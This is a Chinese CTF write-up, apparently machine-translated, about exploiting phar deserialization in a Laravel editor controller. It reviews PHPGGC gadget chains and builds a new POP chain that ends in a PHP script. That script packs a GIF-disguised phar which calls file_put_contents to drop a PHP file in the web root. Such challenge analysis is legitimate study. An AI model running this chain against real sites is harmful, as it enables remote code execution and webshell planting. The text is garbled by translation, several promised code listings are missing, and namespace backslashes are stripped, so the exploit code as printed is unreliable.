PS:更新P牛做的docker环境
漏洞点
在routes/web.php文件中,定义了web程序的路由。 当我们使用 GET 或 POST 方法访问它时,程序将调用 app/Http/Controllers/EditorController.php 类中的 main 方法。
于是我们查看app/Http/Controllers/EditorController.php文件,很快我们就会发现download方法中有一个$url变量在file_get_contents函数中使用,没有任何处理。 下载方法代码如下:
这时候我们就会考虑$url变量是否可控。 如果可控的话,我们可以使用phar来反序列化。 当我们回溯查找$url变量的来源时,我们会发现在doCatchimage方法中,变量值来自于$sources变量。 $sources变量由用户传递的source参数决定($url变量可以通过[]=phar://xxx.gif控制)。 相关代码如下:
所以接下来我们要寻找可以利用的类技术php反序列,然后通过phar反序列化来触发漏洞。
了解 PHPGGC
在寻找pop链之前,我们不妨看一下phpggc中Laravel框架RCE现有的4种payload生成方式,这样我们就可以更快的找出本题的pop链。 Laravel框架RCE的4种payload生成方式分别如下:
类型1
反序列化时php反序列,类方法调用流程如下:
2型
反序列化时,类方法调用流程如下:
3型
反序列化时,类方法调用流程如下:
4型
反序列化时,类方法调用流程如下:
这里我选择第一种phar反序列化执行结果图(题目环境为PHP7.1.16):
然而,本主题的环境仍然有一些额外的限制。 例如,PHP版本为7.2.14,以下函数和类被禁用。 :
disable_functions:
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log
disable_classes:
GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator
从 PHP7 开始。
开始寻找流行连锁店
我们可以发现里面的4个RCE入口点都是从PendingBroadcast类的__destruct方法开始的,所以我们重点寻找dispatch方法和__call方法。 经过一番查找,发现ValidGenerator类中的__call比较好用。
我们可以看到,代码中首先调用了call_user_func_array函数,然后将call_user_func_array函数的执行结果传入call_user_func函数中。 只要我们能够控制call_user_func_array函数的执行结果,就相当于可以控制call_user_func函数的两个参数。 这样,我们就可以调用任何类的方法了。
然后我们寻找可用于控制call_user_func_array函数执行结果的类。 这里我找到了DefaultGenerator类的__call方法。 我们可以看到返回值$this->default是完全可控的。
现在call_user_func(res)中的两个参数都是可控的。 所以如果我们要写一个shell,就需要调用file_put_contents函数,而这个函数需要两个参数,所以直接通过call_user_func函数来使用这个函数是比较困难的。 我们需要通过call_user_func_array函数使用file_put_contents函数。 用法如下: call_user_func_array(' file_put_contents',array('shell.php','test')) 。
通过直接搜索call_user_func_array函数,我们会发现两个比较好用的类函数。 但是这里的第一个ClosureWrapper类对于我们来说很难使用,所以我们不得不使用ReturnCallback类的invoke方法。 具体代码如下:
显然,invoke方法的两个参数都是可控的。 现在我们只需要构造一个Initation类对象。 通过搜索,我们会发现Invocation是一个socket,那么我们就可以找到它的实现类。 这里我找到了StaticInitation类来实现原告功能。 代码如下:
这样我们整个POP链就构建完成了。 这是经验:
<?php
namespace IlluminateBroadcasting{
class PendingBroadcast{
protected $events;
protected $event;
function __construct($events, $event){
$this->events = $events;
$this->event = $event;
}
}
};
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null){
$this->default = $default;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
// __call方法中有call_user_func_array、call_user_func
public function __construct($generator, $validator = null, $maxRetries = 10000)
{
$this->generator = $generator;
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
}
};
namespace PHPUnitFrameworkMockObjectStub{
class ReturnCallback
{
private $callback;
public function __construct($callback)
{
$this->callback = $callback;
}
}
};
namespace PHPUnitFrameworkMockObjectInvocation{
class StaticInvocation{
private $parameters;
public function __construct($parameters){
$this->parameters = $parameters;
}
}
};
namespace{
$function = 'file_put_contents';
$parameters = array('/var/www/html/11.php','');
$staticinvocation = new PHPUnitFrameworkMockObjectInvocationStaticInvocation($parameters);
$returncallback = new PHPUnitFrameworkMockObjectStubReturnCallback($function);
$defaultgenerator = new FakerDefaultGenerator($staticinvocation);
$validgenerator = new FakerValidGenerator($defaultgenerator,array($returncallback,'invoke'),2);
$pendingbroadcast = new IlluminateBroadcastingPendingBroadcast($validgenerator,123);
$o = $pendingbroadcast;
$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
};
?>
终于
我们用下图来理清整个POP链的调用流程。